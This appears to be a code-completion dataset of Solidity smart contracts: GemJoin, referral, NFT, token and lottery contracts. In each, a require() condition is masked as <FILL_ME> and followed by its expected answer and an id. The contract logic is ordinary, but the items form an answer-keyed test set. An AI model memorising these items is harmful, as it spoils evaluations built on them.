// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity =0.5.12; contract LibNote { event LogNote( bytes4 indexed sig, address indexed usr, bytes32 indexed arg1, bytes32 indexed arg2, bytes data ) anonymous; modifier note { } } contract GemLike { function decimals() public view returns (uint); function transfer(address,uint) external returns (bool); function transferFrom(address,address,uint) external returns (bool); } contract DSTokenLike { function mint(address,uint) external; function burn(address,uint) external; } contract VatLike { function slip(bytes32,address,int) external; function move(address,address,uint) external; } contract GemJoin is LibNote { // --- Auth --- mapping (address => uint) public wards; function rely(address usr) external note auth { } function deny(address usr) external note auth { } modifier auth { } VatLike public vat; bytes32 public ilk; GemLike public gem; uint public dec; uint public live; // Access Flag constructor(address vat_, bytes32 ilk_, address gem_) public { } function cage() external note auth { } function join(address usr, uint wad) external note { require(live == 1, "GemJoin/not-live"); require(int(wad) >= 0, "GemJoin/overflow"); vat.slip(ilk, usr, int(wad)); require(<FILL_ME>) } function exit(address usr, uint wad) external note { } }
gem.transferFrom(msg.sender,address(this),wad),"GemJoin/failed-transfer"
380,578
gem.transferFrom(msg.sender,address(this),wad)
"GemJoin/failed-transfer"
// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity =0.5.12; contract LibNote { event LogNote( bytes4 indexed sig, address indexed usr, bytes32 indexed arg1, bytes32 indexed arg2, bytes data ) anonymous; modifier note { } } contract GemLike { function decimals() public view returns (uint); function transfer(address,uint) external returns (bool); function transferFrom(address,address,uint) external returns (bool); } contract DSTokenLike { function mint(address,uint) external; function burn(address,uint) external; } contract VatLike { function slip(bytes32,address,int) external; function move(address,address,uint) external; } contract GemJoin is LibNote { // --- Auth --- mapping (address => uint) public wards; function rely(address usr) external note auth { } function deny(address usr) external note auth { } modifier auth { } VatLike public vat; bytes32 public ilk; GemLike public gem; uint public dec; uint public live; // Access Flag constructor(address vat_, bytes32 ilk_, address gem_) public { } function cage() external note auth { } function join(address usr, uint wad) external note { } function exit(address usr, uint wad) external note { require(wad <= 2 ** 255, "GemJoin/overflow"); vat.slip(ilk, msg.sender, -int(wad)); require(<FILL_ME>) } }
gem.transfer(usr,wad),"GemJoin/failed-transfer"
380,578
gem.transfer(usr,wad)
"addMaster: used address"
pragma solidity 0.6.12; ///////////////////////////////////////////////////////////////////////////////////// // // Referral // ///////////////////////////////////////////////////////////////////////////////////// contract BBSReferral is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public token; uint256 public fee; struct User { address parent; address[] children; uint256 grade; } mapping(address => User) public users; event AddReferral(address indexed user, address _addr); event Register(address indexed user, address _addr); constructor(IERC20 _token, uint256 _fee) public { } function getParent(address _addr) public view returns (address) { } function getChildren(address _addr) public view returns (address[] memory) { } function getGrade(address _addr) public view returns (uint256) { } function setFee(IERC20 _token, uint256 _amount) public onlyOwner { } function withdraw(uint256 _amount) public onlyOwner { } // 마스터 등록 (온리 오너계정) function addMaster(address _addr) public onlyOwner { // _addr 이 등록 되어있으면 에러 require(<FILL_ME>) User storage user = users[_addr]; user.grade = 1; users[_addr] = user; } // 레퍼럴 계정 // 상위는 마스터, 토큰으로 구매 (fee) // _addr : master address function addReferral(address _addr) public { } //레퍼럴 등록 // _addr = referral function register(address _addr) public { } }
users[_addr].grade<1,"addMaster: used address"
380,584
users[_addr].grade<1
"addReferral: not address"
pragma solidity 0.6.12; ///////////////////////////////////////////////////////////////////////////////////// // // Referral // ///////////////////////////////////////////////////////////////////////////////////// contract BBSReferral is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public token; uint256 public fee; struct User { address parent; address[] children; uint256 grade; } mapping(address => User) public users; event AddReferral(address indexed user, address _addr); event Register(address indexed user, address _addr); constructor(IERC20 _token, uint256 _fee) public { } function getParent(address _addr) public view returns (address) { } function getChildren(address _addr) public view returns (address[] memory) { } function getGrade(address _addr) public view returns (uint256) { } function setFee(IERC20 _token, uint256 _amount) public onlyOwner { } function withdraw(uint256 _amount) public onlyOwner { } // 마스터 등록 (온리 오너계정) function addMaster(address _addr) public onlyOwner { } // 레퍼럴 계정 // 상위는 마스터, 토큰으로 구매 (fee) // _addr : master address function addReferral(address _addr) public { // _addr 이 master 계정이 아니면 에러 require(<FILL_ME>) //내 address가 등록 되어있으면 에러 require(users[msg.sender].grade < 1, "addReferral: used address"); //레퍼럴 유저 등록 User storage user = users[msg.sender]; user.grade = 2; user.parent = _addr; users[msg.sender] = user; //마스터 children 추가 User storage master = users[_addr]; master.children.push(msg.sender); token.safeTransferFrom(address(msg.sender), address(this), fee); emit AddReferral(msg.sender, _addr); } //레퍼럴 등록 // _addr = referral function register(address _addr) public { } }
users[_addr].grade==1,"addReferral: not address"
380,584
users[_addr].grade==1
"addReferral: used address"
pragma solidity 0.6.12; ///////////////////////////////////////////////////////////////////////////////////// // // Referral // ///////////////////////////////////////////////////////////////////////////////////// contract BBSReferral is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public token; uint256 public fee; struct User { address parent; address[] children; uint256 grade; } mapping(address => User) public users; event AddReferral(address indexed user, address _addr); event Register(address indexed user, address _addr); constructor(IERC20 _token, uint256 _fee) public { } function getParent(address _addr) public view returns (address) { } function getChildren(address _addr) public view returns (address[] memory) { } function getGrade(address _addr) public view returns (uint256) { } function setFee(IERC20 _token, uint256 _amount) public onlyOwner { } function withdraw(uint256 _amount) public onlyOwner { } // 마스터 등록 (온리 오너계정) function addMaster(address _addr) public onlyOwner { } // 레퍼럴 계정 // 상위는 마스터, 토큰으로 구매 (fee) // _addr : master address function addReferral(address _addr) public { // _addr 이 master 계정이 아니면 에러 require(users[_addr].grade == 1, "addReferral: not address"); //내 address가 등록 되어있으면 에러 require(<FILL_ME>) //레퍼럴 유저 등록 User storage user = users[msg.sender]; user.grade = 2; user.parent = _addr; users[msg.sender] = user; //마스터 children 추가 User storage master = users[_addr]; master.children.push(msg.sender); token.safeTransferFrom(address(msg.sender), address(this), fee); emit AddReferral(msg.sender, _addr); } //레퍼럴 등록 // _addr = referral function register(address _addr) public { } }
users[msg.sender].grade<1,"addReferral: used address"
380,584
users[msg.sender].grade<1
"register: not referral address"
pragma solidity 0.6.12; ///////////////////////////////////////////////////////////////////////////////////// // // Referral // ///////////////////////////////////////////////////////////////////////////////////// contract BBSReferral is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public token; uint256 public fee; struct User { address parent; address[] children; uint256 grade; } mapping(address => User) public users; event AddReferral(address indexed user, address _addr); event Register(address indexed user, address _addr); constructor(IERC20 _token, uint256 _fee) public { } function getParent(address _addr) public view returns (address) { } function getChildren(address _addr) public view returns (address[] memory) { } function getGrade(address _addr) public view returns (uint256) { } function setFee(IERC20 _token, uint256 _amount) public onlyOwner { } function withdraw(uint256 _amount) public onlyOwner { } // 마스터 등록 (온리 오너계정) function addMaster(address _addr) public onlyOwner { } // 레퍼럴 계정 // 상위는 마스터, 토큰으로 구매 (fee) // _addr : master address function addReferral(address _addr) public { } //레퍼럴 등록 // _addr = referral function register(address _addr) public { // msg.sender 와 _addr 이 같으면 에러 require(msg.sender != _addr, "register: error address"); //내 address가 등록 되어있으면 에러 require(users[msg.sender].grade < 1, "register: used address"); // _addr이 referral이 아니면 에러 require(<FILL_ME>) // 상위레퍼럴에 children 추가 User storage parent = users[_addr]; parent.children.push(msg.sender); // msg.sender로 구조체 생성 User storage user = users[msg.sender]; user.parent = _addr; user.grade = 3; emit Register(msg.sender, _addr); } }
users[_addr].grade==2,"register: not referral address"
380,584
users[_addr].grade==2
"Not allowed to burn."
pragma solidity ^0.6.0; contract Punx is ERC721,Ownable { uint256 id = 1; mapping(uint256 => string) metadata; constructor() ERC721("PUNX", "PNX") public { } function mint(address account, string memory metaUrl) public onlyOwner { } function burn(uint256 _id) public { require(<FILL_ME>) _burn(_id); metadata[_id] = ""; } function setTokenURI(uint256 _id, string memory metaUrl) public onlyOwner { } function tokenURI(uint256 _id) public view override returns(string memory) { } }
ownerOf(_id)==_msgSender()||getApproved(_id)==_msgSender()||isApprovedForAll(ownerOf(_id),_msgSender()),"Not allowed to burn."
380,670
ownerOf(_id)==_msgSender()||getApproved(_id)==_msgSender()||isApprovedForAll(ownerOf(_id),_msgSender())
"Not enough amount of assets"
pragma solidity 0.6.11; // 5ef660b1 /** * @title BAEX - contract of the referral program v.2.0.1 (© 2020 - baex.com) * */ /* Abstract contracts */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ import "Uniswap.sol"; import "SafeMath.sol"; import "SafeERC20.sol"; /** * @title ERC20 interface with allowance * @dev see https://github.com/ethereum/EIPs/issues/20 */ abstract contract ERC20 { uint public _totalSupply; uint public decimals; function totalSupply() public view virtual returns (uint); function balanceOf(address who) public view virtual returns (uint); function transfer(address to, uint value) virtual public returns (bool); function allowance(address owner, address spender) public view virtual returns (uint); function transferFrom(address from, address to, uint value) virtual public returns (bool); function approve(address spender, uint value) virtual public returns (bool); event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * @title OptionsContract * @dev Abstract contract of BAEX options */ interface OptionsContract { function onTransferTokens(address _from, address _to, uint256 _value) external returns (bool); } abstract contract BAEXonIssue { function onIssueTokens(address _issuer, address _partner, uint256 _tokens_to_issue, uint256 _issue_price, uint256 _asset_amount) public virtual returns(uint256); } abstract contract BAEXonBurn { function onBurnTokens(address _issuer, address _partner, uint256 _tokens_to_burn, uint256 _burning_price, uint256 _asset_amount) public virtual returns(uint256); } abstract contract abstractBAEXAssetsBalancer { function autoBalancing() public virtual returns(bool); } /* END of: Abstract contracts */ abstract contract LinkedToStableCoins { using SafeERC20 for IERC20; // Fixed point math factor is 10^8 uint256 constant public fmkd = 8; uint256 constant public fmk = 10**fmkd; uint256 constant internal _decimals = 8; address constant internal super_owner = 0x2B2fD898888Fa3A97c7560B5ebEeA959E1Ca161A; address internal owner; address public usdtContract; address public daiContract; function balanceOfOtherERC20( address _token ) internal view returns (uint256) { } function balanceOfOtherERC20AtAddress( address _token, address _address ) internal view returns (uint256) { } function transferOtherERC20( address _token, address _from, address _to, uint256 _amount ) internal returns (bool) { } function transferAmountOfAnyAsset( address _from, address _to, uint256 _amount ) internal returns (bool) { uint256 amount = _amount; uint256 usdtBal = balanceOfOtherERC20AtAddress(usdtContract,_from); uint256 daiBal = balanceOfOtherERC20AtAddress(daiContract,_from); require(<FILL_ME>) if ( _from == address(this) ) { if ( usdtBal >= amount ) { IERC20(usdtContract).safeTransfer( _to, fixedPointAmountToTokenAmount(usdtContract,_amount) ); amount = 0; } else if ( usdtBal > 0 ) { IERC20(usdtContract).safeTransfer( _to, fixedPointAmountToTokenAmount(usdtContract,usdtBal) ); amount = amount - usdtBal; } if ( amount > 0 ) { IERC20(daiContract).safeTransfer( _to, fixedPointAmountToTokenAmount(daiContract,_amount) ); } } else { if ( usdtBal >= amount ) { IERC20(usdtContract).safeTransferFrom( _from, _to, fixedPointAmountToTokenAmount(usdtContract,_amount) ); amount = 0; } else if ( usdtBal > 0 ) { IERC20(usdtContract).safeTransferFrom( _from, _to, fixedPointAmountToTokenAmount(usdtContract,usdtBal) ); amount = amount - usdtBal; } if ( amount > 0 ) { IERC20(daiContract).safeTransferFrom( _from, _to, fixedPointAmountToTokenAmount(daiContract,_amount) ); } } return true; } function fixedPointAmountToTokenAmount( address _token, uint256 _amount ) internal view returns (uint256) { } function tokenAmountToFixedAmount( address _token, uint256 _amount ) internal view returns (uint256) { } function collateral() public view returns (uint256) { } function setUSDTContract(address _usdtContract) public onlyOwner { } function setDAIContract(address _daiContract) public onlyOwner { } function transferOwnership(address newOwner) public onlyOwner { } modifier onlyOwner() { } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); } contract BAEXReferral is LinkedToStableCoins, BAEXonIssue { address payable baex; string public name; uint256 public referral_percent1; uint256 public referral_percent2; uint256 public referral_percent3; uint256 public referral_percent4; uint256 public referral_percent5; mapping (address => address) partners; mapping (address => uint256) referral_balance; constructor() public { } function balanceOf(address _sender) public view returns (uint256 balance) { } /** * @dev When someone issues BAEX tokens, referral % the USDT or DAI amount will be transferred from * @dev the BAEXReferral smart-contract to his referral partners. * @dev Read more about referral program at https://baex.com/#referral */ function onIssueTokens(address _issuer, address _partner, uint256 _tokens_to_issue, uint256 _issue_price, uint256 _asset_amount) public override returns(uint256) { } function setReferralPercent(uint256 _referral_percent1,uint256 _referral_percent2,uint256 _referral_percent3,uint256 _referral_percent4,uint256 _referral_percent5) public onlyOwner() { } function setTokenAddress(address _token_address) public onlyOwner { } /** * @dev If the referral partner sends any amount of ETH to the contract, he/she will receive ETH back * @dev and receive earned balance of USDT or DAI in the BAEX referral program. * @dev Read more about referral program at https://baex.com/#referral */ receive() external payable { } /*------------------*/ /** * @dev This function can transfer any of the wrongs sent ERC20 tokens to the contract */ function transferWrongSendedERC20FromContract(address _contract) public { } } /* END of: BAEXReferral - referral program smart-contract */ // SPDX-License-Identifier: UNLICENSED
(usdtBal+daiBal)>=_amount,"Not enough amount of assets"
380,798
(usdtBal+daiBal)>=_amount
"You don't have permissions to call it"
pragma solidity 0.6.11; // 5ef660b1 /** * @title BAEX - contract of the referral program v.2.0.1 (© 2020 - baex.com) * */ /* Abstract contracts */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ import "Uniswap.sol"; import "SafeMath.sol"; import "SafeERC20.sol"; /** * @title ERC20 interface with allowance * @dev see https://github.com/ethereum/EIPs/issues/20 */ abstract contract ERC20 { uint public _totalSupply; uint public decimals; function totalSupply() public view virtual returns (uint); function balanceOf(address who) public view virtual returns (uint); function transfer(address to, uint value) virtual public returns (bool); function allowance(address owner, address spender) public view virtual returns (uint); function transferFrom(address from, address to, uint value) virtual public returns (bool); function approve(address spender, uint value) virtual public returns (bool); event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * @title OptionsContract * @dev Abstract contract of BAEX options */ interface OptionsContract { function onTransferTokens(address _from, address _to, uint256 _value) external returns (bool); } abstract contract BAEXonIssue { function onIssueTokens(address _issuer, address _partner, uint256 _tokens_to_issue, uint256 _issue_price, uint256 _asset_amount) public virtual returns(uint256); } abstract contract BAEXonBurn { function onBurnTokens(address _issuer, address _partner, uint256 _tokens_to_burn, uint256 _burning_price, uint256 _asset_amount) public virtual returns(uint256); } abstract contract abstractBAEXAssetsBalancer { function autoBalancing() public virtual returns(bool); } /* END of: Abstract contracts */ abstract contract LinkedToStableCoins { using SafeERC20 for IERC20; // Fixed point math factor is 10^8 uint256 constant public fmkd = 8; uint256 constant public fmk = 10**fmkd; uint256 constant internal _decimals = 8; address constant internal super_owner = 0x2B2fD898888Fa3A97c7560B5ebEeA959E1Ca161A; address internal owner; address public usdtContract; address public daiContract; function balanceOfOtherERC20( address _token ) internal view returns (uint256) { } function balanceOfOtherERC20AtAddress( address _token, address _address ) internal view returns (uint256) { } function transferOtherERC20( address _token, address _from, address _to, uint256 _amount ) internal returns (bool) { } function transferAmountOfAnyAsset( address _from, address _to, uint256 _amount ) internal returns (bool) { } function fixedPointAmountToTokenAmount( address _token, uint256 _amount ) internal view returns (uint256) { } function tokenAmountToFixedAmount( address _token, uint256 _amount ) internal view returns (uint256) { } function collateral() public view returns (uint256) { } function setUSDTContract(address _usdtContract) public onlyOwner { } function setDAIContract(address _daiContract) public onlyOwner { } function transferOwnership(address newOwner) public onlyOwner { } modifier onlyOwner() { require(<FILL_ME>) _; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); } contract BAEXReferral is LinkedToStableCoins, BAEXonIssue { address payable baex; string public name; uint256 public referral_percent1; uint256 public referral_percent2; uint256 public referral_percent3; uint256 public referral_percent4; uint256 public referral_percent5; mapping (address => address) partners; mapping (address => uint256) referral_balance; constructor() public { } function balanceOf(address _sender) public view returns (uint256 balance) { } /** * @dev When someone issues BAEX tokens, referral % the USDT or DAI amount will be transferred from * @dev the BAEXReferral smart-contract to his referral partners. * @dev Read more about referral program at https://baex.com/#referral */ function onIssueTokens(address _issuer, address _partner, uint256 _tokens_to_issue, uint256 _issue_price, uint256 _asset_amount) public override returns(uint256) { } function setReferralPercent(uint256 _referral_percent1,uint256 _referral_percent2,uint256 _referral_percent3,uint256 _referral_percent4,uint256 _referral_percent5) public onlyOwner() { } function setTokenAddress(address _token_address) public onlyOwner { } /** * @dev If the referral partner sends any amount of ETH to the contract, he/she will receive ETH back * @dev and receive earned balance of USDT or DAI in the BAEX referral program. * @dev Read more about referral program at https://baex.com/#referral */ receive() external payable { } /*------------------*/ /** * @dev This function can transfer any of the wrongs sent ERC20 tokens to the contract */ function transferWrongSendedERC20FromContract(address _contract) public { } } /* END of: BAEXReferral - referral program smart-contract */ // SPDX-License-Identifier: UNLICENSED
(msg.sender==owner)||(msg.sender==super_owner),"You don't have permissions to call it"
380,798
(msg.sender==owner)||(msg.sender==super_owner)
null
pragma solidity ^0.4.18; contract Hurify { /* Public variables of the token */ string public name = "Hurify Token"; // Token Name string public symbol = "HUR"; // Token symbol uint public decimals = 18; // Token Decimal Point address public owner; // Owner of the Token Contract uint256 totalHurify; // Total Token for the Crowdsale uint256 totalToken; // The current total token supply. bool public hault = false; // Crowdsale State /* This creates an array with all balances */ mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the refund amount */ event Burn(address _from, uint256 _value); event Approval(address _from, address _to, uint256 _value); /* Initializes contract with initial supply tokens to the creator of the contract */ function Hurify ( address _hurclan ) public { } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { } modifier onlyPayloadSize(uint size) { } modifier onlyowner { } ///@notice Alter the Total Supply. function tokensup(uint256 _value) onlyowner public{ } ///@notice Transfer tokens based on type function hurifymint( address _client, uint _value, uint _type) onlyowner public { } ///@notice Transfer token with only value function hurmint( address _client, uint256 _value) onlyowner public { } //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check requireit doesn't wrap. //Replace the if with this one instead. function transfer(address _to, uint256 _value) public returns (bool success) { require(<FILL_ME>) require(balances[msg.sender] >= _value); balances[msg.sender] = safeSub(balances[msg.sender],_value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { } /// @dev Sets approved amount of tokens for spender. Returns success. /// @param _spender Address of allowed account. /// @param _value Number of approved tokens. /// @return Returns success of function call. function approve(address _spender, uint256 _value) public returns (bool) { } /// @dev Returns number of allowed tokens for given address. /// @param _owner Address of token owner. /// @param _spender Address of token spender. /// @return Returns remaining allowance for spender. function allowance(address _owner, address _spender) constant public returns (uint256) { } /// @notice Returns balance of HUR Tokens. /// @param _from Balance for Address. function balanceOf(address _from) public view returns (uint balance) { } ///@notice Returns the Total Number of HUR Tokens. function totalSupply() public view returns (uint Supply){ } /// @notice Pause the crowdsale function pauseable() public onlyowner { } /// @notice Unpause the crowdsale function unpause() public onlyowner { } /// @notice Remove `_value` tokens from the system irreversibly function burn(uint256 _value) onlyowner public returns (bool success) { } }
!hault
380,851
!hault
"ALREADY_REQUESTED"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "ERC721Enumerable.sol"; import "Ownable.sol"; import "VRFConsumerBase.sol"; interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { } modifier nonReentrant() { } } contract RandomEDGE is ERC721Enumerable, Ownable, VRFConsumerBase, ReentrancyGuard { using Strings for uint256; // Constants // ------------------------------------------------------------------------ uint256 public constant MAX_SUPPLY = 5000; uint256 public constant PRICE = 0; // 0.05 ether uint256 internal constant WINNER_CUT = 100; string internal constant IPFS_UNKNOWN = "Qmbzf9grQq4rN1ZmZvrrjyWg3wC8Hx3BqUv16kpWsPpVLM"; // *** string internal constant IPFS_WINNER = "QmXyasrdptv9zzGU1iK6uNSth4RpRAxn4r8ga9GK4R68nY"; // *** string internal constant IPFS_LOSER = "QmZEDgZ8ujyu6gfvU1gHsTfZN2MnKUe57j5qXQ2ePBWKjA"; // *** string internal constant TOKEN_NAME = "RandomEDGE Free"; string internal constant TOKEN_SYMBOL = "RE"; // State // ------------------------------------------------------------------------ bool public isFinished; bool public isRngRequested; address public winnerAddress; uint256 public contributed; uint256 public startTime; // Chainlink // ------------------------------------------------------------------------ bytes32 internal constant KEY_HASH = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; // MAINNET uint256 internal constant VRF_FEE = 2 * 10 ** 18; // MAINNET address public constant VRF_COORDINATOR = 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952; // MAINNET address public constant LINK_TOKEN = 0x514910771AF9Ca656af840dff83E8264EcF986CA; // MAINNET bytes32 public requestId; uint256 public randomResult; // Events // ------------------------------------------------------------------------ event BaseTokenURIChanged(string baseTokenURI); event Received(address, uint256); // Constructor // ------------------------------------------------------------------------ constructor() VRFConsumerBase(VRF_COORDINATOR, LINK_TOKEN) ERC721(TOKEN_NAME, TOKEN_SYMBOL) { } // Randomness/state advancing functions // ------------------------------------------------------------------------ function requestResult() external onlyOwner { require(totalSupply() > 0, "NO_TICKETS"); require(<FILL_ME>) require(LINK.balanceOf(address(this)) >= VRF_FEE, "NEED_LINK"); requestId = requestRandomness(KEY_HASH, VRF_FEE); isRngRequested = true; } function fulfillRandomness(bytes32 _requestId, uint256 randomness) internal override { } function finalize() external onlyOwner { } function winnerCut() public view returns (uint256) { } function isStarted() public view returns (bool) { } function setStartTime(uint256 _startTime) external onlyOwner { } // Mint functions // ------------------------------------------------------------------------ function mint(uint256 quantity) external payable nonReentrant { } // URI Functions // ------------------------------------------------------------------------ function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { } // Receive & Withdrawal functions // ------------------------------------------------------------------------ receive() external payable { } function withdrawErc20(IERC20 token) external onlyOwner { } function emergencyWithdraw() external onlyOwner { } }
!isRngRequested,"ALREADY_REQUESTED"
380,963
!isRngRequested
"NEED_LINK"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "ERC721Enumerable.sol"; import "Ownable.sol"; import "VRFConsumerBase.sol"; interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { } modifier nonReentrant() { } } contract RandomEDGE is ERC721Enumerable, Ownable, VRFConsumerBase, ReentrancyGuard { using Strings for uint256; // Constants // ------------------------------------------------------------------------ uint256 public constant MAX_SUPPLY = 5000; uint256 public constant PRICE = 0; // 0.05 ether uint256 internal constant WINNER_CUT = 100; string internal constant IPFS_UNKNOWN = "Qmbzf9grQq4rN1ZmZvrrjyWg3wC8Hx3BqUv16kpWsPpVLM"; // *** string internal constant IPFS_WINNER = "QmXyasrdptv9zzGU1iK6uNSth4RpRAxn4r8ga9GK4R68nY"; // *** string internal constant IPFS_LOSER = "QmZEDgZ8ujyu6gfvU1gHsTfZN2MnKUe57j5qXQ2ePBWKjA"; // *** string internal constant TOKEN_NAME = "RandomEDGE Free"; string internal constant TOKEN_SYMBOL = "RE"; // State // ------------------------------------------------------------------------ bool public isFinished; bool public isRngRequested; address public winnerAddress; uint256 public contributed; uint256 public startTime; // Chainlink // ------------------------------------------------------------------------ bytes32 internal constant KEY_HASH = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; // MAINNET uint256 internal constant VRF_FEE = 2 * 10 ** 18; // MAINNET address public constant VRF_COORDINATOR = 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952; // MAINNET address public constant LINK_TOKEN = 0x514910771AF9Ca656af840dff83E8264EcF986CA; // MAINNET bytes32 public requestId; uint256 public randomResult; // Events // ------------------------------------------------------------------------ event BaseTokenURIChanged(string baseTokenURI); event Received(address, uint256); // Constructor // ------------------------------------------------------------------------ constructor() VRFConsumerBase(VRF_COORDINATOR, LINK_TOKEN) ERC721(TOKEN_NAME, TOKEN_SYMBOL) { } // Randomness/state advancing functions // ------------------------------------------------------------------------ function requestResult() external onlyOwner { require(totalSupply() > 0, "NO_TICKETS"); require(!isRngRequested, "ALREADY_REQUESTED"); require(<FILL_ME>) requestId = requestRandomness(KEY_HASH, VRF_FEE); isRngRequested = true; } function fulfillRandomness(bytes32 _requestId, uint256 randomness) internal override { } function finalize() external onlyOwner { } function winnerCut() public view returns (uint256) { } function isStarted() public view returns (bool) { } function setStartTime(uint256 _startTime) external onlyOwner { } // Mint functions // ------------------------------------------------------------------------ function mint(uint256 quantity) external payable nonReentrant { } // URI Functions // ------------------------------------------------------------------------ function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { } // Receive & Withdrawal functions // ------------------------------------------------------------------------ receive() external payable { } function withdrawErc20(IERC20 token) external onlyOwner { } function emergencyWithdraw() external onlyOwner { } }
LINK.balanceOf(address(this))>=VRF_FEE,"NEED_LINK"
380,963
LINK.balanceOf(address(this))>=VRF_FEE
"PAID_OUT"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "ERC721Enumerable.sol"; import "Ownable.sol"; import "VRFConsumerBase.sol"; interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { } modifier nonReentrant() { } } contract RandomEDGE is ERC721Enumerable, Ownable, VRFConsumerBase, ReentrancyGuard { using Strings for uint256; // Constants // ------------------------------------------------------------------------ uint256 public constant MAX_SUPPLY = 5000; uint256 public constant PRICE = 0; // 0.05 ether uint256 internal constant WINNER_CUT = 100; string internal constant IPFS_UNKNOWN = "Qmbzf9grQq4rN1ZmZvrrjyWg3wC8Hx3BqUv16kpWsPpVLM"; // *** string internal constant IPFS_WINNER = "QmXyasrdptv9zzGU1iK6uNSth4RpRAxn4r8ga9GK4R68nY"; // *** string internal constant IPFS_LOSER = "QmZEDgZ8ujyu6gfvU1gHsTfZN2MnKUe57j5qXQ2ePBWKjA"; // *** string internal constant TOKEN_NAME = "RandomEDGE Free"; string internal constant TOKEN_SYMBOL = "RE"; // State // ------------------------------------------------------------------------ bool public isFinished; bool public isRngRequested; address public winnerAddress; uint256 public contributed; uint256 public startTime; // Chainlink // ------------------------------------------------------------------------ bytes32 internal constant KEY_HASH = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; // MAINNET uint256 internal constant VRF_FEE = 2 * 10 ** 18; // MAINNET address public constant VRF_COORDINATOR = 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952; // MAINNET address public constant LINK_TOKEN = 0x514910771AF9Ca656af840dff83E8264EcF986CA; // MAINNET bytes32 public requestId; uint256 public randomResult; // Events // ------------------------------------------------------------------------ event BaseTokenURIChanged(string baseTokenURI); event Received(address, uint256); // Constructor // ------------------------------------------------------------------------ constructor() VRFConsumerBase(VRF_COORDINATOR, LINK_TOKEN) ERC721(TOKEN_NAME, TOKEN_SYMBOL) { } // Randomness/state advancing functions // ------------------------------------------------------------------------ function requestResult() external onlyOwner { } function fulfillRandomness(bytes32 _requestId, uint256 randomness) internal override { } function finalize() external onlyOwner { winnerAddress = ownerOf(randomResult); require(winnerAddress != address(0), "NO_WINNER"); require(<FILL_ME>) isFinished = true; winnerAddress.call{value: winnerCut()}(""); } function winnerCut() public view returns (uint256) { } function isStarted() public view returns (bool) { } function setStartTime(uint256 _startTime) external onlyOwner { } // Mint functions // ------------------------------------------------------------------------ function mint(uint256 quantity) external payable nonReentrant { } // URI Functions // ------------------------------------------------------------------------ function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { } // Receive & Withdrawal functions // ------------------------------------------------------------------------ receive() external payable { } function withdrawErc20(IERC20 token) external onlyOwner { } function emergencyWithdraw() external onlyOwner { } }
!isFinished,"PAID_OUT"
380,963
!isFinished
"Transfer failed"
